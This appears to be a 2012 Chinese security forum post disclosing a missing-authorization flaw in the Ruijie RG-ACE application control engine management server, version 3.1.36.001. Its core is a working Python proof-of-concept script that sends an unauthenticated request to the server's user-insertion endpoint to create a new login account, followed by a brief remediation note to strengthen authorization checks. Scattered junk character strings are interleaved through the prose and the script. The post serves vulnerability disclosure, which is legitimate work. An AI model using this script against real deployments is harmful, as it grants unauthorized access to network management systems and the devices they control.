找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2427|回复: 0
打印 上一主题 下一主题

锐捷应用控制引擎管理服务器可以增加用户

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:16:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
2 [+ Z1 V( [; q) }. F* A& b+ R; W
' o3 V6 d/ r. L! l, k% b+ s/ [: E- b" M2 t2 v2 g
测试的具体版本是
# @' C/ x9 @$ E产品名称: 锐捷应用控制引擎
5 R3 e0 R8 A4 @) F. X# O版本号: 3.1.36.001 TC
5 a: }% Y0 u: U( ?编译时间: 201104291730
' X$ V: V# R. O4 P2 \% R + j# B9 \! p% I* T% K5 d. l% f

. l: {, c. `& s* f, ~: l4 o漏洞证明:
5 C4 F! w4 U! u  y, N 6 F5 T& D% ^# H& Y

5 S" ~; x4 v% I( Q1 Y3 _) O* S! x( z  i

1 D9 E2 ?: J( C- d+ I/ A: ^
9 |8 q1 d# O& {0 ]: V: ]/ u; a! @9 X0 Y1 B  m1 O5 E5 n3 t9 A
执行脚本5 x6 o3 t" E/ E: ~& h$ H
#! /usr/bin/env python( z; q; U5 b( T- N
#coding=gbk. `. s' t) V4 W: m$ M
#RG-ACE管理服务器 V3.1.36.001
+ \" ^$ w  ?/ W! S6 ^: Dimport urllib2, urllib,cookielib
" U( p& F+ a+ n, _url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
  N5 C. A# K3 X7 R4 p8 Popener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
; w# J7 |* a3 r9 }( ropener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
) _! }, [: }4 [( Jpost=(("event","userManager.doInsertUserInfo"),
1 ^% p' G0 ^2 ~4 I& T$ J("useractionname","addButtonValue"),
( f9 c0 Z7 H: O+ w* G("useropermanager","userManager"),  f" o& b3 s! M9 a1 z, q
("userName","t"), #######账号自己加
' ?* H$ R2 ~2 ?("pwd","aaaaaa"),######密码自己加
' M+ R! c  A, g5 \+ o, i, [4 Q("trueName","ad"),
9 [0 Y3 [& u. b6 f  R4 j! B("email",""),* q* e/ J5 J" Y. e+ E
("mobilePhone",""),
0 E: a! t( v/ A9 ~9 ~, h9 C, V. k("officePhone",""),
1 ?" u, k" K% O( m5 I. A("addr",""),
8 M4 l" ^( v( t("submit","确定"))
  s" d% e! J# ]- _$ W5 iurllib2.install_opener(opener)
& c( A7 v* r# u" u! f+ Gp=urllib2.urlopen(url, urllib.urlencode(post)).read()
4 N5 b" P6 {" |  _/ t, q: Pprint "Done"
( {, x9 {+ ~9 z
+ ], P$ C5 F+ A% {- K- `/ s, z登录,连接设备
- ^9 d8 _" u) m6 @0 K7 e* d7 J9 _( s  O2 a& |
5 s% R- z$ t+ Q5 @' o
* L" h$ Y7 u7 h( I9 p- _: `

9 R3 F6 @5 \5 {5 s6 s6 D/ T4 |
默认的管理员admin权限更大点" }0 Z8 ]$ x- I: m$ o) v2 S, U
, n- R' z2 ~# c% c2 f* W2 {
; s9 O$ o( \5 M& ]$ L& p: |3 E  g! E

8 ^6 Q4 O+ R* `! g0 k) q. X( k 0 t, |: L/ v" e. W- s8 S! O

/ m. G) s  a! J6 A+ j- n修复方案:
+ j0 [3 F" N$ L7 f5 m# U加强对接口的权限验证( C, w) O; p1 X2 i, o( b
) `# T1 C$ [* Q8 {6 Q5 e8 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表